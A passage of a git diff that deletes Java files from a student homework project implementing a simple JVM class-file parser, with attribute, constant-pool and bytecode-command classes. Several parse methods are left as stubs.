-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;				
-	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-	
-	
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/attr/CodeAttr.java b/group24/Homework/7-SevenWeek/jvm/attr/CodeAttr.java
deleted file mode 100644
index c4c0c4c6c5..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,70 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.CommandParser;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class CodeAttr extends AttributeInfo {
-	private int maxStack ;
-	private int maxLocals ;
-	private int codeLen ;
-	private String code;
-	public String getCode() {
-		return code;
-	}
-
-	private ByteCodeCommand[] cmds ;
-	public ByteCodeCommand[] getCmds() {		
-		return cmds;
-	}
-	private LineNumberTable lineNumTable;
-	private LocalVariableTable localVarTable;
-	private StackMapTable stackMapTable;
-	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLen = codeLen;
-		this.code = code;
-		this.cmds = cmds;
-	}
-
-	public void setLineNumberTable(LineNumberTable t) {
-		this.lineNumTable = t;
-	}
-
-	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;		
-	}
-	
-	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
-		
-		return null;
-	}
-	
-
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		//buffer.append("Code:").append(code).append("\n");
-		for(int i=0;i<cmds.length;i++){
-			buffer.append(cmds[i].toString(pool)).append("\n");
-		}
-		buffer.append("\n");
-		buffer.append(this.lineNumTable.toString());
-		buffer.append(this.localVarTable.toString(pool));
-		return buffer.toString();
-	}
-	private void setStackMapTable(StackMapTable t) {
-		this.stackMapTable = t;
-		
-	}
-
-	
-	
-	
-	
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/attr/LineNumberTable.java b/group24/Homework/7-SevenWeek/jvm/attr/LineNumberTable.java
deleted file mode 100644
index a31a1ff4d0..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LineNumberTable extends AttributeInfo {
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-	
-	private static class LineNumberItem{
-		int startPC;
-		int lineNum;
-		public int getStartPC() {
-			return startPC;
-		}
-		public void setStartPC(int startPC) {
-			this.startPC = startPC;
-		}
-		public int getLineNum() {
-			return lineNum;
-		}
-		public void setLineNum(int lineNum) {
-			this.lineNum = lineNum;
-		}
-	}
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
-	}
-	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-		
-	}
-	
-	public static LineNumberTable parse(ByteCodeIterator iter){
-		
-		return null;
-	}
-	
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Line Number Table:\n");
-		for(LineNumberItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("lineNum:"+item.getLineNum()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-		
-	}
-	
-	
-
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/attr/LocalVariableItem.java b/group24/Homework/7-SevenWeek/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index 962c3b8bc4..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.jvm.attr;
-
-public class LocalVariableItem {
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/attr/LocalVariableTable.java b/group24/Homework/7-SevenWeek/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index 14db5dca46..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ConstantPool;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LocalVariableTable extends AttributeInfo{
-
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-	
-	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-	
-	
-	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);		
-	}
-	
-	public static LocalVariableTable parse(ByteCodeIterator iter){
-		
-		return null;
-	}
-	
-	
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Local Variable Table:\n");
-		for(LocalVariableItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
-			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
-			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/attr/StackMapTable.java b/group24/Homework/7-SevenWeek/jvm/attr/StackMapTable.java
deleted file mode 100644
index 18f2ad0360..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo{
-	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		int index = iter.nextU2ToInt();
-		int len = iter.nextU4ToInt();
-		StackMapTable t = new StackMapTable(index,len);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.nextUxToHexString(len);
-		t.setOriginalCode(code);
-		
-		return t;
-	}
-
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/clz/AccessFlag.java b/group24/Homework/7-SevenWeek/jvm/clz/AccessFlag.java
deleted file mode 100644
index faae056835..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-	
-}
\ No newline at end of file
diff --git a/group24/Homework/7-SevenWeek/jvm/clz/ClassFile.java b/group24/Homework/7-SevenWeek/jvm/clz/ClassFile.java
deleted file mode 100644
index 2a8dfb6123..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,102 +0,0 @@
-package com.coderising.jvm.clz;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	private List<Field> fields = new ArrayList<Field>();
-	private List<Method> methods = new ArrayList<Method>();
-	
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	public void addField(Field f){
-		this.fields.add(f);
-	}
-	public List<Field> getFields(){
-		return this.fields;
-	}
-	public void addMethod(Method m){
-		this.methods.add(m);
-	}
-	public List<Method> getMethods() {
-		return methods;
-	}
-	
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
-	}
-	
-	public String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	public String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-	
-	public Method getMethod(String methodName, String paramAndReturnType){
-		
-		
-		return null;
-	}
-	public Method getMainMethod(){
-		
-		return null;
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/clz/ClassIndex.java b/group24/Homework/7-SevenWeek/jvm/clz/ClassIndex.java
deleted file mode 100644
index e424f284b3..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
\ No newline at end of file
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/BiPushCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index cd0fbd4848..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
-
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/ByteCodeCommand.java b/group24/Homework/7-SevenWeek/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index a3abeacc82..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,128 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-	
-	//public abstract void execute(StackFrame frame,FrameResult result);
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/CommandParser.java b/group24/Homework/7-SevenWeek/jvm/cmd/CommandParser.java
deleted file mode 100644
index 2bb36340f5..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,85 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public class CommandParser {
-	
-	public static final String aconst_null = "01";
-	public static final String new_object = "BB";
-	public static final String lstore = "37";
-	public static final String invokespecial = "B7";
-	public static final String invokevirtual = "B6";
-	public static final String getfield = "B4";
-	public static final String putfield = "B5";
-	public static final String getstatic = "B2";
-	public static final String ldc = "12";
-	public static final String dup = "59";
-	public static final String bipush = "10";
-	public static final String aload_0 = "2A";
-	public static final String aload_1 = "2B";
-	public static final String aload_2 = "2C";
-	public static final String iload = "15";
-	public static final String iload_1 = "1B";
-	public static final String iload_2 = "1C";
-	public static final String iload_3 = "1D";
-	public static final String fload_3 = "25";
-
-	public static final String voidreturn = "B1";
-	public static final String ireturn = "AC";
-	public static final String freturn = "AE";
-
-	public static final String astore_1 = "4C";
-	public static final String if_icmp_ge = "A2";
-	public static final String if_icmple = "A4";
-	public static final String goto_no_condition = "A7";
-	public static final String iconst_0 = "03";
-	public static final String iconst_1 = "04";
-	public static final String istore_1 = "3C";
-	public static final String istore_2 = "3D";
-	public static final String iadd = "60";
-	public static final String iinc = "84";
-
-	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-
-		
-		return null;
-	}
-
-	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-		int offset = 0;
-		for (ByteCodeCommand cmd : cmds) {
-			cmd.setOffset(offset);
-			offset += cmd.getLength();
-		}
-
-	}
-
-	private static class CommandIterator {
-		String codes = null;
-		int pos = 0;
-
-		CommandIterator(String codes) {
-			this.codes = codes;
-		}
-
-		public boolean hasNext() {
-			return pos < this.codes.length();
-		}
-
-		public String next2CharAsString() {
-			String result = codes.substring(pos, pos + 2);
-			pos += 2;
-			return result;
-		}
-
-		public int next2CharAsInt() {
-			String s = this.next2CharAsString();
-			return Integer.valueOf(s, 16).intValue();
-		}
-
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/GetFieldCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index 2e6061edd2..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	
-	
-
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/GetStaticFieldCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index e6cf9d5960..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/InvokeSpecialCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index ac228d0e4d..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/InvokeVirtualCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index c15d827797..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-	
-
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/LdcCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/LdcCmd.java
deleted file mode 100644
index ffb66f811c..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-	
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/NewObjectCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index 33813b5d59..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/NoOperandCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 56c28fefe2..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/OneOperandCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index 963d064257..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/PutFieldCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index 85bb369c19..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/TwoOperandCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index 6c0cf53082..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/ClassInfo.java b/group24/Homework/7-SevenWeek/jvm/constant/ClassInfo.java
deleted file mode 100644
index c8e65ff493..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitClassInfo(this);		
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/ConstantInfo.java b/group24/Homework/7-SevenWeek/jvm/constant/ConstantInfo.java
deleted file mode 100644
index 88353df2d3..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.coderising.jvm.constant;
-
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-	
-	public abstract void accept(Visitor visitor);
-	
-	public static interface Visitor{
-		public void visitClassInfo(ClassInfo info);
-		public void visitFieldRef(FieldRefInfo info);
-		public void visitMethodRef(MethodRefInfo info);
-		public void visitNameAndType(NameAndTypeInfo info);
-		public void visitString(StringInfo info);
-		public void visistUTF8(UTF8Info info);
-		
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/ConstantPool.java b/group24/Homework/7-SevenWeek/jvm/constant/ConstantPool.java
deleted file mode 100644
index 7130eb3a9f..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/constant/ConstantPool.java
+++ /dev/null
